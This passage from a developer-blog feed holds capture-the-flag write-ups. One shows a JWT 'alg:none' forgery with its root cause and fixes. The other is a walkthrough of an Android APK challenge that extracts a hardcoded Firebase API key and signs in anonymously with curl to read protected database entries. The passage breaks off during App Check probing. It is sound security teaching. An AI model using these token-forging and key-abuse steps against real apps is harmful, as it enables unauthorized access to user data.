    &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;b64url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;separators&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;alg_variant&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The lowercase &lt;code&gt;none&lt;/code&gt; variant was the one accepted by the server.&lt;/p&gt;

&lt;p&gt;Swapped the forged token in as the &lt;code&gt;nx_access&lt;/code&gt; cookie value and reloaded &lt;code&gt;/famctf/admin&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Result
&lt;/h2&gt;

&lt;p&gt;With the forged cookie set, the dashboard itself reflected the privilege escalation - the "Admin Vault" card, previously locked with an &lt;code&gt;Admin only&lt;/code&gt; badge, was now accessible, and a new &lt;strong&gt;ADMIN&lt;/strong&gt; section appeared in the sidebar (&lt;code&gt;Vault&lt;/code&gt;) alongside an &lt;code&gt;ADMIN&lt;/code&gt; badge next to the username in the navbar. The Access Level card confirmed: &lt;code&gt;ADMIN&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Navigating to &lt;code&gt;/famctf/admin&lt;/code&gt; returned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Identity verified - elevated access granted for strawhat
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FAM{jwt_4lg_n0n3_byp4ss_gr4nt3d}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Root Cause
&lt;/h2&gt;

&lt;p&gt;Server-side JWT verification trusted the &lt;code&gt;alg&lt;/code&gt; field from the attacker-controlled header instead of enforcing a fixed expected algorithm (e.g. always verify with HS256 and the server's own secret, regardless of what the token claims). This is the classic &lt;strong&gt;JWT algorithm confusion / &lt;code&gt;alg:none&lt;/code&gt; vulnerability&lt;/strong&gt; (CWE-347).&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never derive the verification algorithm from the token itself - hardcode the expected algorithm (&lt;code&gt;HS256&lt;/code&gt;) server-side and reject anything else, including &lt;code&gt;none&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Use a JWT library configuration that requires an explicit allow-list of algorithms (most modern libraries support this, e.g. &lt;code&gt;jwt.verify(token, secret, { algorithms: ['HS256'] })&lt;/code&gt; in &lt;code&gt;jsonwebtoken&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Treat &lt;code&gt;role&lt;/code&gt;/privilege claims as sensitive - consider keeping authorization state server-side (session store) rather than trusting client-held tokens for privilege escalation-sensitive decisions.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Browser DevTools / Burp Suite (cookie interception &amp;amp; editing)&lt;/li&gt;
&lt;li&gt;jwt.io Debugger (payload/header inspection)&lt;/li&gt;
&lt;li&gt;Python (&lt;code&gt;base64&lt;/code&gt;, &lt;code&gt;json&lt;/code&gt;) for manual token forging&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>jwt</category>
    </item>
    <item>
      <title>FAM CTF: The Library to The Endpoint Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sat, 18 Jul 2026 12:19:36 +0000</pubDate>
      <link>https://dev.to/exploitnotes/fam-ctf-the-library-to-the-endpoint-writeup-3mde</link>
      <guid>https://dev.to/exploitnotes/fam-ctf-the-library-to-the-endpoint-writeup-3mde</guid>
      <description>&lt;h2&gt;
  
  
  Executive Summary
&lt;/h2&gt;

&lt;p&gt;FAM is a mobile CTF challenge distributed as an Android APK (&lt;code&gt;fam-ctf.apk&lt;/code&gt;) with four staged flags, each themed around a different layer of the app's Firebase backend: &lt;strong&gt;The Library&lt;/strong&gt; (native code), &lt;strong&gt;The Database&lt;/strong&gt; (Firebase Realtime Database), &lt;strong&gt;The Vault&lt;/strong&gt; (Firestore + App Check), and &lt;strong&gt;The Endpoint&lt;/strong&gt; (a custom signed API). Every stage builds on the last - static analysis of the APK and its native library (&lt;code&gt;libfam.so&lt;/code&gt;) kept supplying the credentials and logic needed to get further into the Firebase backend.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools used:&lt;/strong&gt; &lt;code&gt;unzip&lt;/code&gt;, &lt;code&gt;strings&lt;/code&gt;, &lt;code&gt;objdump&lt;/code&gt;, &lt;code&gt;jadx&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, Burp Suite, Frida, Android Studio emulator + &lt;code&gt;adb&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon &amp;amp; Setup
&lt;/h2&gt;

&lt;p&gt;Installed the APK on an Android Studio emulator (x86_64 AVD) and pulled it apart for static analysis:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir &lt;/span&gt;extracted
unzip &lt;span class="nt"&gt;-o&lt;/span&gt; fam-ctf.apk &lt;span class="nt"&gt;-d&lt;/span&gt; extracted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That gave the standard APK layout, Firebase SDK dependencies (Auth, Realtime Database, Firestore, App Check), and two native libraries:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls &lt;/span&gt;extracted/lib
&lt;span class="c"&gt;# arm64-v8a  x86_64&lt;/span&gt;

&lt;span class="nb"&gt;ls &lt;/span&gt;extracted/lib/arm64-v8a
&lt;span class="c"&gt;# libc++_shared.so  libfam.so&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;libc++_shared.so&lt;/code&gt; is just the standard NDK C++ runtime - ignored it. &lt;code&gt;libfam.so&lt;/code&gt; is the custom library and the actual target.&lt;/p&gt;

&lt;p&gt;Decompiled the Java/Kotlin layer for cross-referencing against the native code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jadx &lt;span class="nt"&gt;-d&lt;/span&gt; jadx_out extracted/classes&lt;span class="k"&gt;*&lt;/span&gt;.dex
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Flag 1 - The Library
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; &lt;em&gt;"Every compiled secret leaves a trace. Not all libraries are for reading. What do you do with .so files?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Started with basic file identification and a strings pass over the custom library:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file extracted/lib/arm64-v8a/libfam.so
&lt;span class="c"&gt;# ELF 64-bit LSB shared object, ARM aarch64, ... stripped&lt;/span&gt;

strings extracted/lib/arm64-v8a/libfam.so | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'flag|fam\{|http|key|secret|token'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Java_com_ctf_fam_MainActivity_getSecretFromNative
Java_com_ctf_fam_MainActivity_getDebugToken
FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The flag was sitting in plaintext in &lt;code&gt;.rodata&lt;/code&gt;. No dynamic analysis needed - the developer left it as a raw string constant, right next to the two native method names that would matter for later stages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Flag 2 - The Database
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; &lt;em&gt;"The door is open to anyone. You don't need a name to enter, but the room still has a lock. Identity is optional here."&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding the Firebase project
&lt;/h3&gt;

&lt;p&gt;Searched the APK's resources for a Firebase config, since it wasn't in a &lt;code&gt;google-services.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"firebaseio&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;databaseURL&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;project_id&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;apiKey"&lt;/span&gt; extracted/res/ extracted/resources.arsc 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That only turned up a generic keep-rules file, so went straight for the URL pattern instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strings extracted/resources.arsc | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'firebaseio|project_id|databaseURL'&lt;/span&gt;
strings extracted/resources.arsc | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;firebaseio&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;com&lt;/span&gt;&lt;span class="se"&gt;\|\.&lt;/span&gt;&lt;span class="s2"&gt;firebasedatabase&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;app"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Second command hit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A blind root read confirmed the DB exists but is locked down:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/.json"&lt;/span&gt;
&lt;span class="c"&gt;# {"error" : "404 Not Found"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(That 404 was actually against a wrong placeholder URL used by mistake first - the real project URL above returns &lt;code&gt;Permission denied&lt;/code&gt;, not 404, once queried correctly.)&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding the exact path
&lt;/h3&gt;

&lt;p&gt;Decompiled the app fully and grepped for Firebase Database reference calls:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;jadx &lt;span class="nt"&gt;-d&lt;/span&gt; jadx_out extracted/classes&lt;span class="k"&gt;*&lt;/span&gt;.dex
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"child(&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;getReference&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;FirebaseDatabase"&lt;/span&gt; jadx_out &lt;span class="nt"&gt;--include&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;.java | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^Binary"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Buried in a lot of SDK noise, the app's own code stood out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;FirebaseDatabase&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getReference&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"flag"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addListenerForSingleValueEvent&lt;/span&gt;&lt;span class="o"&gt;(...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the path is just &lt;code&gt;flag&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json"&lt;/span&gt;
&lt;span class="c"&gt;# {"error" : "Permission denied"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Getting past the auth check
&lt;/h3&gt;

&lt;p&gt;Grepped &lt;code&gt;MainActivity.java&lt;/code&gt; for how the app authenticates before reading:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"signInAnonymously&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;FirebaseAuth"&lt;/span&gt; jadx_out/sources/com/ctf/fam/MainActivity.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed it signs in anonymously first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;signInAnonymouslyAndVerifyFlag2&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="nc"&gt;Task&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;AuthResult&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;taskSignInAnonymously&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;firebaseAuth&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;signInAnonymously&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That meant the DB rule was almost certainly &lt;code&gt;auth != null&lt;/code&gt; - any authenticated identity is enough, no specific user required. Needed the app's Firebase Web API key to sign in the same way, so grepped for it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"AIza"&lt;/span&gt; extracted/res/ jadx_out/sources/ 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt;
strings extracted/resources.arsc | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"AIza"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Found it hardcoded in the source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;java&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;  &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Signed in anonymously via the Identity Toolkit REST API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"returnSecureToken":true}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That returned an &lt;code&gt;idToken&lt;/code&gt; (JWT). Passed it as the &lt;code&gt;auth&lt;/code&gt; query param on the database read:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json?auth=&amp;lt;idToken&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}&lt;/code&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Flag 3 - The Vault
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; &lt;em&gt;"The vault trusts no one it hasn't met. But the app already made introductions. Something in the code proves who you are. The token is hiding in plain sight."&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding it's Firestore, not RTDB
&lt;/h3&gt;

&lt;p&gt;Grepped &lt;code&gt;verifyFlag3&lt;/code&gt; in the decompiled source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; 20 &lt;span class="s2"&gt;"verifyFlag3"&lt;/span&gt; jadx_out/sources/com/ctf/fam/MainActivity.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This flag lives in &lt;strong&gt;Firestore&lt;/strong&gt; - a different Firebase product with its own API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;verifyFlag3&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Task&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;DocumentSnapshot&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;task&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FirebaseFirestore&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
        &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;collection&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"flags"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;document&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"flag3"&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Direct read attempt, reusing the anonymous &lt;code&gt;idToken&lt;/code&gt; from stage 2:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;idToken&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"code"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Missing or insufficient permissions."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PERMISSION_DENIED"&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Identifying App Check as the blocker
&lt;/h3&gt;

&lt;p&gt;Same grep pass on &lt;code&gt;MainActivity.java&lt;/code&gt; turned up an &lt;code&gt;initAppCheck()&lt;/code&gt; method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;initAppCheck&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;FirebaseAppCheck&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;installAppCheckProviderFactory&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;DebugTokenAppCheckProviderFactory&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"674578159678"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
            &lt;span class="s"&gt;"1:674578159678:android:775058d15777caf841996f"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;getDebugToken&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt;
            &lt;span class="no"&gt;API_KEY&lt;/span&gt;
        &lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;getDebugToken()&lt;/code&gt; is native - this is "the introduction" the app makes on your behalf before the vault will trust it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Trying dynamic capture first (dead end)
&lt;/h3&gt;

&lt;p&gt;First attempt was to catch the debug token live via &lt;code&gt;adb logcat&lt;/code&gt;, since App Check debug tokens are normally printed to Logcat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;adb devices
adb logcat &lt;span class="nt"&gt;-c&lt;/span&gt;
adb logcat &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; logcat_dump.txt
